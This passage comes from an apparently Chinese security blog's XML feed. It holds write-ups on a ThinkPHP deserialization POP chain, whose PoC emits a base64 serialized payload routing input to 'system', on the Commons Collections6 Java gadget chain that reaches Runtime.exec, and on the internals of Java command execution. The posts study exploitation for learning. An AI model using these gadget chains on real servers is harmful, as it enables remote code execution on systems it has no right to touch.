class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">param</span>(<span class="params"><span class="variable">$name</span> = <span class="string">''</span>, <span class="variable">$default</span> = <span class="literal">null</span>, <span class="variable">$filter</span> = <span class="string">''</span></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">if</span> (!<span class="variable language_">$this</span>->mergeParam) {</span><br><span class="line"> <span class="variable">$method</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">method</span>(<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 自动获取请求变量</span></span><br><span class="line"> <span class="keyword">switch</span> (<span class="variable">$method</span>) {</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'POST'</span>:</span><br><span class="line"> <span class="variable">$vars</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">post</span>(<span class="literal">false</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'PUT'</span>:</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'DELETE'</span>:</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'PATCH'</span>:</span><br><span class="line"> <span class="variable">$vars</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">put</span>(<span class="literal">false</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="variable">$vars</span> = [];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 当前请求参数和URL地址中的参数合并</span></span><br><span class="line"> <span class="variable language_">$this</span>->param = <span class="title function_ invoke__">array_merge</span>(<span class="variable">$this</span>->param, <span class="variable">$this</span>-><span class="title function_ invoke__">get</span>(<span class="literal">false</span>), <span class="variable">$vars</span>, <span class="variable">$this</span>-><span class="title function_ invoke__">route</span>(<span class="literal">false</span>));</span><br><span class="line"></span><br><span class="line"> <span class="variable language_">$this</span>->mergeParam = <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="literal">true</span> === <span class="variable">$name</span>) {</span><br><span class="line"> <span class="comment">// 获取包含文件上传信息的数组</span></span><br><span class="line"> <span class="variable">$file</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">file</span>();</span><br><span class="line"> <span class="variable">$data</span> = <span class="title function_ invoke__">is_array</span>(<span class="variable">$file</span>) ? <span class="title function_ invoke__">array_merge</span>(<span class="variable">$this</span>->param, <span class="variable">$file</span>) : <span class="variable language_">$this</span>->param;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="variable language_">$this</span>-><span class="title function_ invoke__">input</span>(<span class="variable">$data</span>, <span class="string">''</span>, <span class="variable">$default</span>, <span class="variable">$filter</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="variable language_">$this</span>-><span class="title function_ invoke__">input</span>(<span class="variable">$this</span>->param, <span class="variable">$name</span>, <span class="variable">$default</span>, <span class="variable">$filter</span>);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p><code>input</code> 下 <code>array_walk_recursive</code> 参数都是可控的<br><img src="https://img-blog.csdnimg.cn/df777937e1ff4b9c8bd8746b5cc7c549.png" alt="在这里插入图片描述"><br>下面就可以构造了<br>这里 <code>Conversion</code> 和 <code>Attribute</code> 都是 trait 关键字,不能直接实例化<br>需要去找继承类,要是用 use 关键字,并且同时继承了 <code>Conversion</code> 和 <code>Attribute</code></p><p><code>Model</code> 类</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">abstract</span> <span class="class"><span class="keyword">class</span> <span class="title">Model</span> <span class="keyword">implements</span> \<span class="title">JsonSerializable</span>, \<span class="title">ArrayAccess</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="keyword">use</span> <span class="title">model</span>\<span class="title">concern</span>\<span class="title">Attribute</span>;</span><br><span class="line"> <span class="keyword">use</span> <span class="title">model</span>\<span class="title">concern</span>\<span class="title">RelationShip</span>;</span><br><span class="line"> <span class="keyword">use</span> <span class="title">model</span>\<span class="title">concern</span>\<span class="title">ModelEvent</span>;</span><br><span class="line"> <span class="keyword">use</span> <span class="title">model</span>\<span class="title">concern</span>\<span class="title">TimeStamp</span>;</span><br><span class="line"> <span class="keyword">use</span> <span class="title">model</span>\<span class="title">concern</span>\<span class="title">Conversion</span>;</span><br></pre></td></tr></table></figure><p>但是 <code>Model</code> 是抽象类,还是不能直接实例化<br>需要找到其抽象的子类 <code>Pivot</code></p><p>poc:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title class_">think</span>;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Request</span></span>{</span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$hook</span> = [];</span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$filter</span> = <span class="string">"system"</span>;</span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$config</span> = [</span><br><span class="line"> <span class="comment">// 表单请求类型伪装变量</span></span><br><span class="line"> <span class="string">'var_method'</span> => <span class="string">'_method'</span>,</span><br><span class="line"> <span class="comment">// 表单ajax伪装变量</span></span><br><span class="line"> <span class="string">'var_ajax'</span> => <span class="string">'_ajax'</span>,</span><br><span class="line"> <span class="comment">// 表单pjax伪装变量</span></span><br><span class="line"> <span class="string">'var_pjax'</span> => <span class="string">'_pjax'</span>,</span><br><span class="line"> <span class="comment">// PATHINFO变量名 用于兼容模式</span></span><br><span class="line"> <span class="string">'var_pathinfo'</span> => <span class="string">'s'</span>,</span><br><span class="line"> <span class="comment">// 兼容PATH_INFO获取</span></span><br><span class="line"> <span class="string">'pathinfo_fetch'</span> => [<span class="string">'ORIG_PATH_INFO'</span>, <span class="string">'REDIRECT_PATH_INFO'</span>, <span class="string">'REDIRECT_URL'</span>],</span><br><span class="line"> <span class="comment">// 默认全局过滤方法 用逗号分隔多个</span></span><br><span class="line"> <span class="string">'default_filter'</span> => <span class="string">''</span>,</span><br><span class="line"> <span class="comment">// 域名根,如thinkphp.cn</span></span><br><span class="line"> <span class="string">'url_domain_root'</span> => <span class="string">''</span>,</span><br><span class="line"> <span class="comment">// HTTPS代理标识</span></span><br><span class="line"> <span class="string">'https_agent_name'</span> => <span class="string">''</span>,</span><br><span class="line"> <span class="comment">// IP代理获取标识</span></span><br><span class="line"> <span class="string">'http_agent_ip'</span> => <span class="string">'HTTP_X_REAL_IP'</span>,</span><br><span class="line"> <span class="comment">// URL伪静态后缀</span></span><br><span class="line"> <span class="string">'url_html_suffix'</span> => <span class="string">'html'</span>,</span><br><span class="line"> ];</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="variable language_">$this</span>->filter = <span class="string">"system"</span>;</span><br><span class="line"> <span class="variable language_">$this</span>->config = [<span class="string">"var_ajax"</span>=><span class="string">'huha'</span>];</span><br><span class="line"> <span class="variable language_">$this</span>->hook = [<span class="string">"visible"</span>=>[<span class="variable language_">$this</span>,<span class="string">"isAjax"</span>]];</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">abstract</span> <span class="class"><span class="keyword">class</span> <span class="title">Model</span></span>{</span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$append</span> = [];</span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$data</span> = [];</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="comment"># append键必须存在,并且与$this->data相同</span></span><br><span class="line"> <span class="variable language_">$this</span>->append = [<span class="string">"huha"</span>=>[]];</span><br><span class="line"> <span class="variable language_">$this</span>->data = [<span class="string">"huha"</span>=><span class="keyword">new</span> <span class="title class_">Request</span>()];</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title class_">think</span>\<span class="title class_">model</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">Model</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Pivot</span> <span class="keyword">extends</span> <span class="title">Model</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title class_">think</span>\<span class="title class_">process</span>\<span class="title class_">pipes</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">model</span>\<span class="title">Pivot</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Windows</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$files</span> = [];</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="variable language_">$this</span>->files=[<span class="keyword">new</span> <span class="title class_">Pivot</span>()];</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="comment">//var_dump(new Windows());</span></span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">base64_encode</span>(<span class="title function_ invoke__">serialize</span>(<span class="keyword">new</span> <span class="title class_">Windows</span>()));</span><br></pre></td></tr></table></figure>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> thinkphp框架 </tag>
</tags>
</entry>
<entry>
<title>Commons Collections6</title>
<link href="/2023/01/04/Commons%20Collections6(%E6%B0%B4%E7%89%88)/"/>
<url>/2023/01/04/Commons%20Collections6(%E6%B0%B4%E7%89%88)/</url>
<content type="html"><![CDATA[<h2 id="前言"><a class="markdownIt-Anchor" href="#前言">#</a> 前言</h2><p>Java 8u71 以后,sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑发生变化,导致 cc1 的链子在 8u71 之后无法使用。<br>所以 cc6 就是解决高版本的利用问题,依然是从上下文对 <code>LazyMap#get</code> 的调用</p><h2 id="调用链"><a class="markdownIt-Anchor" href="#调用链">#</a> 调用链</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">java.io.ObjectInputStream.readObject()</span><br><span class="line"> java.util.HashSet.readObject()</span><br><span class="line"> java.util.HashMap.put()</span><br><span class="line"> java.util.HashMap.hash()</span><br><span class="line"> org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()</span><br><span class="line"> org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()</span><br><span class="line"> org.apache.commons.collections.map.LazyMap.get()</span><br><span class="line"> org.apache.commons.collections.functors.ChainedTransformer.transform()</span><br><span class="line"> org.apache.commons.collections.functors.InvokerTransformer.transform()</span><br><span class="line"> java.lang.reflect.Method.invoke()</span><br><span class="line"> java.lang.Runtime.exec()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>在 <code>TiedMapEntry</code> 的 <code>hashcode()</code> 下调用 <code>getkey()</code> 的 <code>getvalue()</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">hashCode</span><span class="params">()</span> {</span><br><span class="line"> <span class="type">Object</span> <span class="variable">value</span> <span class="operator">=</span> getValue();</span><br><span class="line"> <span class="keyword">return</span> (getKey() == <span class="literal">null</span> ? <span class="number">0</span> : getKey().hashCode()) ^</span><br><span class="line"> (value == <span class="literal">null</span> ? <span class="number">0</span> : value.hashCode()); </span><br><span class="line"> }</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Object <span class="title function_">getValue</span><span class="params">()</span> {</span><br><span class="line"> <span class="keyword">return</span> map.get(key);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>这里的 <code>key</code> 如果传入 <code>LazyMap</code> ,就回到了 CC1,后面的就都一样了<br>这里其实理解了 CC5+URLDNS 就可以解决 CC6 的流程</p><p>从原作者的流程中可以看到链子的入口就是在 <code>hashMap</code> 处<br>所以前面的流程就是</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HashSet.readObject()->HashMap.put()->HashMap.hash()->TiedMapEntry.hashCode()->TiedMapEntry.getValue()->LazyMap.get()</span><br></pre></td></tr></table></figure><p>看到入口其实就能想到 <code>URLDNS</code></p><p>所以这一段的代码写下来就是</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.ki10Moc;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.keyvalue.TiedMapEntry;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">test1</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"> org.apache.commons.collections.Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]{</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Class.forName(<span class="string">"java.lang.Runtime"</span>)),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"getMethod"</span>,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class, Class[].class},</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"getRuntime"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>]}),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"invoke"</span>,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{Object.class, Object[].class},</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="literal">null</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]}),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class},</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"calc"</span>})</span><br><span class="line"> };</span><br><span class="line"> <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line"> <span class="type">Map</span> <span class="variable">innerMap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line"> <span class="type">Map</span> <span class="variable">map</span> <span class="operator">=</span> LazyMap.decorate(innerMap, chainedTransformer);</span><br><span class="line"> <span class="type">TiedMapEntry</span> <span class="variable">tiedMapEntry</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TiedMapEntry</span>(map, <span class="string">"ki10Moc"</span>);</span><br><span class="line"> <span class="type">HashMap</span> <span class="variable">finalmap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line"> finalmap.put(tiedMapEntry, <span class="string">"value"</span>);</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这里有点小问题,就是 debug 的时候会直接弹出计算器<br>原因是展示对象集合,IDEA 会自动调用 <code>toString()</code> 方法,可以在设置中关闭<br><img src="https://img-blog.csdnimg.cn/8a5596b881af44f9a059d9c835b122d3.png" alt="在这里插入图片描述"><br>还有个问题…<br> 在 <code>Map,put()</code> 的时候为了防止直接触发 RCE<br> 这里包装到 <code>map</code> 的参数 <code>chainedTransformer</code> 可以写成其他的<br>在 <code>LazyMap.decorate</code> 的 factory 参数可以写成 <code>new ConstantTransformer("xxx")</code> 或 <code>new ConstantTransformer(1)</code></p><p><img src="https://img-blog.csdnimg.cn/aee065b8a34d4564806a179cf7c56c84.png" alt="在这里插入图片描述"></p><p>后面再通过反射调用,修改 <code>factiry</code> 的值为 <code>chainedTransformer</code> <br> 即</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Class<LazyMap> lazyMapClass = LazyMap.class; </span><br><span class="line"> <span class="type">Field</span> <span class="variable">factoryField</span> <span class="operator">=</span> lazyMapClass.getDeclaredField(<span class="string">"factory"</span>); </span><br><span class="line"> factoryField.setAccessible(<span class="literal">true</span>); </span><br><span class="line"> factoryField.set(lazyMapClass, chainedTransformer);</span><br></pre></td></tr></table></figure>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
</tags>
</entry>
<entry>
<title>Java命令执行</title>
<link href="/2022/12/23/java%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/"/>
<url>/2022/12/23/java%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/</url>
<content type="html"><![CDATA[<h3 id="windows"><a class="markdownIt-Anchor" href="#windows">#</a> Windows</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.nio.charset.Charset;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">exec</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"> <span class="type">Process</span> <span class="variable">process</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="type">String</span> <span class="variable">cmd</span> <span class="operator">=</span><span class="string">"cmd /c echo 1 > 1.txt"</span>;</span><br><span class="line"> process = Runtime.getRuntime().exec(cmd);</span><br><span class="line"> <span class="type">BufferedReader</span> <span class="variable">br</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BufferedReader</span>(<span class="keyword">new</span> <span class="title class_">InputStreamReader</span>(process.getInputStream(), Charset.forName(<span class="string">"gbk"</span>)));</span><br><span class="line"> <span class="type">String</span> <span class="variable">line</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">while</span> ((line = br.readLine()) != <span class="literal">null</span>) {</span><br><span class="line"> System.out.println(line);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>对执行的 command 判断,非空后进行识别<br><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221513067.png" alt="在这里插入图片描述"><br>其中 <code>StringTokenizer</code> 默认是空格分隔<br>再存入数组<br><img src="https://img-blog.csdnimg.cn/e170a02c319249069a9c3ee81d2d1306.png" alt="在这里插入图片描述"><br>一直到 exec 返回值<br>来看下这三个值的含义<br><img src="https://img-blog.csdnimg.cn/afc62f593e0240c2b63a9a6095c064cc.png" alt="在这里插入图片描述"></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221513112.png" alt="在这里插入图片描述"></p><p>会发现,其实底层还是使用 <code>ProcessBuilder.start</code> 来执行刚才拿到的 <code>cmdarray</code> <br><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221513864.png" alt="在这里插入图片描述"></p><p>数组的第一个元素存入 <code>prog</code> ,也就是要执行的命令<br>然后判断 <code>security</code> 是否为空,是则继续进行,否则调用 <code>SecurityManager.checkExec</code> 检验 <code>prog</code> <br> 执行的命令不能是空格开头,否则会抛出异常</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Process <span class="title function_">start</span><span class="params">()</span> <span class="keyword">throws</span> IOException {</span><br><span class="line"> <span class="comment">// Must convert to array first -- a malicious user-supplied</span></span><br><span class="line"> <span class="comment">// list might try to circumvent the security check.</span></span><br><span class="line"> String[] cmdarray = command.toArray(<span class="keyword">new</span> <span class="title class_">String</span>[command.size()]);</span><br><span class="line"> cmdarray = cmdarray.clone();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (String arg : cmdarray)</span><br><span class="line"> <span class="keyword">if</span> (arg == <span class="literal">null</span>)</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">NullPointerException</span>();</span><br><span class="line"> <span class="comment">// Throws IndexOutOfBoundsException if command is empty</span></span><br><span class="line"> <span class="type">String</span> <span class="variable">prog</span> <span class="operator">=</span> cmdarray[<span class="number">0</span>];</span><br><span class="line"></span><br><span class="line"> <span class="type">SecurityManager</span> <span class="variable">security</span> <span class="operator">=</span> System.getSecurityManager();</span><br><span class="line"> <span class="keyword">if</span> (security != <span class="literal">null</span>)</span><br><span class="line"> security.checkExec(prog);</span><br><span class="line"></span><br><span class="line"> <span class="type">String</span> <span class="variable">dir</span> <span class="operator">=</span> directory == <span class="literal">null</span> ? <span class="literal">null</span> : directory.toString();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i < cmdarray.length; i++) {</span><br><span class="line"> <span class="keyword">if</span> (cmdarray[i].indexOf(<span class="string">'\u0000'</span>) >= <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IOException</span>(<span class="string">"invalid null character in command"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">return</span> ProcessImpl.start(cmdarray,</span><br><span class="line"> environment,</span><br><span class="line"> dir,</span><br><span class="line"> redirects,</span><br><span class="line"> redirectErrorStream);</span><br><span class="line"> } <span class="keyword">catch</span> (IOException | IllegalArgumentException e) {</span><br><span class="line"> <span class="type">String</span> <span class="variable">exceptionInfo</span> <span class="operator">=</span> <span class="string">": "</span> + e.getMessage();</span><br><span class="line"> <span class="type">Throwable</span> <span class="variable">cause</span> <span class="operator">=</span> e;</span><br><span class="line"> <span class="keyword">if</span> ((e <span class="keyword">instanceof</span> IOException) && security != <span class="literal">null</span>) {</span><br><span class="line"> <span class="comment">// Can not disclose the fail reason for read-protected files.</span></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> security.checkRead(prog);</span><br><span class="line"> } <span class="keyword">catch</span> (SecurityException se) {</span><br><span class="line"> exceptionInfo = <span class="string">""</span>;</span><br><span class="line"> cause = se;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// It's much easier for us to create a high-quality error</span></span><br><span class="line"> <span class="comment">// message than the low-level C code which found the problem.</span></span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IOException</span>(</span><br><span class="line"> <span class="string">"Cannot run program \""</span> + prog + <span class="string">"\""</span></span><br><span class="line"> + (dir == <span class="literal">null</span> ? <span class="string">""</span> : <span class="string">" (in directory \""</span> + dir + <span class="string">"\")"</span>)</span><br><span class="line"> + exceptionInfo,</span><br><span class="line"> cause);</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>在执行的命令前加上 <code>cmd /c</code> 实际上是告诉计算机此时的环境变量</p><h3 id="linux"><a class="markdownIt-Anchor" href="#linux">#</a> Linux</h3><p><code>ProcessBuilder</code> 下的构造方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span 